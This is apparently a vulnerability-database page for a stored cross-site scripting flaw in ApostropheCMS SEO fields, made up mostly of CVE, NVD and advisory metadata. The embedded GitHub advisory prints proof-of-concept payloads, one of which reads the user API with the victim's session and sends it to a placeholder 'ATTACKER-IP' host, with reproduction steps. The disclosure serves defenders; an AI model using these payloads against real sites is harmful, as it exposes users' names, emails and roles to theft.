Vulnerability-Lookup

CVE-2026-35569 (GCVE-0-2026-35569)

Vulnerability from cvelistv5 – Published: 2026-04-15 19:34 – Updated: 2026-05-14 16:07

Title

ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. An attacker can inject a payload such as "></title><script>alert(1)</script> to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-16 14:14 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-116 - Improper Encoding or Escaping of Output

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8086 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/apostrophecms/apostrophe/secur…	x_refsource_CONFIRM
https://github.com/apostrophecms/apostrophe/commi…	x_refsource_MISC
https://github.com/Chittu13/cve-research/tree/mai…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
apostrophecms	apostrophe	Affected: < 4.29.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35569",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-16T14:14:28.804713Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T16:07:20.897Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.29.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-116",
              "description": "CWE-116: Improper Encoding or Escaping of Output",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-30T20:08:02.451Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
        },
        {
          "name": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
        },
        {
          "name": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
        }
      ],
      "source": {
        "advisory": "GHSA-855c-r2vq-c292",
        "discovery": "UNKNOWN"
      },
      "title": "ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35569",
    "datePublished": "2026-04-15T19:34:23.648Z",
    "dateReserved": "2026-04-03T20:09:02.826Z",
    "dateUpdated": "2026-05-14T16:07:20.897Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-35569",
      "date": "2026-10-31",
      "epss": "0.00298",
      "percentile": "0.22474"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "apostrophe",
                "vendor": "apostrophecms",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 4.29.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:apostrophecms:apostrophecms:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "2CFAFBDF-2EB1-404B-B370-8C510FC289AE",
                    "versionEndExcluding": "4.29.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0."
          },
          {
            "lang": "es",
            "value": "ApostropheCMS es un sistema de gesti\u00f3n de contenido Node.js de c\u00f3digo abierto. Las versiones 4.28.0 y anteriores contienen una vulnerabilidad de cross-site scripting almacenado en campos relacionados con SEO (T\u00edtulo SEO y Meta Descripci\u00f3n), donde la entrada controlada por el usuario se renderiza sin la codificaci\u00f3n de salida adecuada en contextos HTML, incluyendo etiquetas [title], atributos [meta] y datos estructurados JSON-LD. Un atacante puede inyectar una carga \u00fatil como \u201d\u003e[/title][script_tag]alert(1)[/script] para salir del contexto HTML previsto y ejecutar JavaScript arbitrario en el navegador de cualquier usuario autenticado que vea la p\u00e1gina afectada. Esto puede aprovecharse para realizar solicitudes de API autenticadas, acceder a datos sensibles como nombres de usuario, direcciones de correo electr\u00f3nico y roles a trav\u00e9s de API internas, y exfiltrarlos a un servidor controlado por el atacante. Este problema ha sido solucionado en la versi\u00f3n 4.29.0."
          }
        ],
        "id": "CVE-2026-35569",
        "lastModified": "2026-10-26T22:10:00.163",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.3,
              "impactScore": 5.8,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-35569",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-16T14:14:28.804713Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-04-15T20:16:36.353",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Patch",
              "Vendor Advisory"
            ],
            "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-79"
              },
              {
                "lang": "en",
                "value": "CWE-116"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-04-30T20:48:21+00:00",
      "cve": "CVE-2026-35569",
      "id": "CVE-2026-35569",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35569.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-35569",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-04-16T14:14:28.804713Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-04-16T14:14:47.166Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "apostrophe",
              "vendor": "apostrophecms",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 4.29.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-79",
                  "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-116",
                  "description": "CWE-116: Improper Encoding or Escaping of Output",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-04-30T20:08:02.451Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
            },
            {
              "name": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
            },
            {
              "name": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
            }
          ],
          "source": {
            "advisory": "GHSA-855c-r2vq-c292",
            "discovery": "UNKNOWN"
          },
          "title": "ApostropheCMS: Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-35569",
        "datePublished": "2026-04-15T19:34:23.648Z",
        "dateReserved": "2026-04-03T20:09:02.826Z",
        "dateUpdated": "2026-05-14T16:07:20.897Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-35569

Vulnerability from fkie_nvd - Published: 2026-04-15 20:16 - Updated: 2026-10-26 22:10

Severity

8.7 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3	Patch
security-advisories@github.com	https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292	Exploit, Patch, Vendor Advisory

Impacted products

	Vendor	Product	Version
	apostrophecms	apostrophecms	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "apostrophe",
          "vendor": "apostrophecms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.29.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:apostrophecms:apostrophecms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "2CFAFBDF-2EB1-404B-B370-8C510FC289AE",
              "versionEndExcluding": "4.29.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ApostropheCMS is an open-source Node.js content management system. Versions 4.28.0 and prior contain a stored cross-site scripting vulnerability in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including \u003ctitle\u003e tags, \u003cmeta\u003e attributes, and JSON-LD structured data. An attacker can inject a payload such as \"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e to break out of the intended HTML context and execute arbitrary JavaScript in the browser of any authenticated user who views the affected page. This can be leveraged to perform authenticated API requests, access sensitive data such as usernames, email addresses, and roles via internal APIs, and exfiltrate it to an attacker-controlled server. This issue has been fixed in version 4.29.0."
    },
    {
      "lang": "es",
      "value": "ApostropheCMS es un sistema de gesti\u00f3n de contenido Node.js de c\u00f3digo abierto. Las versiones 4.28.0 y anteriores contienen una vulnerabilidad de cross-site scripting almacenado en campos relacionados con SEO (T\u00edtulo SEO y Meta Descripci\u00f3n), donde la entrada controlada por el usuario se renderiza sin la codificaci\u00f3n de salida adecuada en contextos HTML, incluyendo etiquetas [title], atributos [meta] y datos estructurados JSON-LD. Un atacante puede inyectar una carga \u00fatil como \u201d\u003e[/title][script_tag]alert(1)[/script] para salir del contexto HTML previsto y ejecutar JavaScript arbitrario en el navegador de cualquier usuario autenticado que vea la p\u00e1gina afectada. Esto puede aprovecharse para realizar solicitudes de API autenticadas, acceder a datos sensibles como nombres de usuario, direcciones de correo electr\u00f3nico y roles a trav\u00e9s de API internas, y exfiltrarlos a un servidor controlado por el atacante. Este problema ha sido solucionado en la versi\u00f3n 4.29.0."
    }
  ],
  "id": "CVE-2026-35569",
  "lastModified": "2026-10-26T22:10:00.163",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-35569",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-04-16T14:14:28.804713Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-04-15T20:16:36.353",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-116"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-855C-R2VQ-C292

Vulnerability from github – Published: 2026-04-16 20:44 – Updated: 2026-04-30 20:08

Summary

Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Details

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

<title>
<meta> attributes
structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms: - Improper output encoding - Ability to escape <title> / <meta> contexts - Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

Start a local listener: python3 -m http.server 5656
Login to ApostropheCMS as an authenticated user
Create or edit a page
Navigate to SEO settings
Insert the payload into the SEO Title field and Meta Description

"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Set Schema Type to "Web page"
Save and publish the page
Have an administrator visit the page

Result

The payload executes in the admin’s browser
The script sends a request to: /api/v1/@apostrophecms/user
The response contains sensitive user data:
usernames
email addresses
roles (including admin)
The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656

Evidence

The attacker server receives:
GET /?data=BASE64_ENCODED_RESPONSE
Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to: - Execute arbitrary JavaScript in an authenticated admin context - Perform authenticated API requests (session riding) - Access sensitive application data via internal APIs - Exfiltrate sensitive data to an external attacker-controlled server

## References - Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3 - https://www.cve.org/CVERecord?id=CVE-2026-35569 - https://nvd.nist.gov/vuln/detail/CVE-2026-35569 - https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.28.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T20:44:18Z",
    "nvd_published_at": "2026-04-15T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `\u003ctitle\u003e`\n- `\u003cmeta\u003e` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\n```\nThis confirms:\n  - Improper output encoding\n  - Ability to escape `\u003ctitle\u003e / \u003cmeta\u003e` contexts\n  - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027, {\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3.  Create or edit a page\n4.  Navigate to SEO settings\n5.  Insert the payload into the SEO Title field  and  Meta Description\n```javascript\n\"\u003e\u003c/title\u003e\u003cscript\u003e\nfetch(\u0027/api/v1/@apostrophecms/user\u0027,{\n  credentials:\u0027include\u0027\n})\n.then(r=\u003er.text())\n.then(d=\u003e{\n  fetch(\u0027http://ATTACKER-IP:5656/?data=\u0027+btoa(d))\n})\n\u003c/script\u003e\n```\n6.  Set **Schema Type** to \"Web page\"\n7.  Save and publish the page\n8.  Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin\u2019s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n  - usernames\n  - email addresses\n  - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n  - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n  - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n  - Execute arbitrary JavaScript in an authenticated admin context\n  - Perform authenticated API requests (session riding)\n  - Access sensitive application data via internal APIs\n  - Exfiltrate sensitive data to an external attacker-controlled server\n  \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569",
  "id": "GHSA-855c-r2vq-c292",
  "modified": "2026-04-30T20:08:18Z",
  "published": "2026-04-16T20:44:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-35569 (GCVE-0-2026-35569)

FKIE_CVE-2026-35569

GHSA-855C-R2VQ-C292

Summary

Affected Version

Vulnerability Details

PoC 1

PoC 2

Video Proof of Concept

Steps to Reproduce

Result

Evidence

Security Impact

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour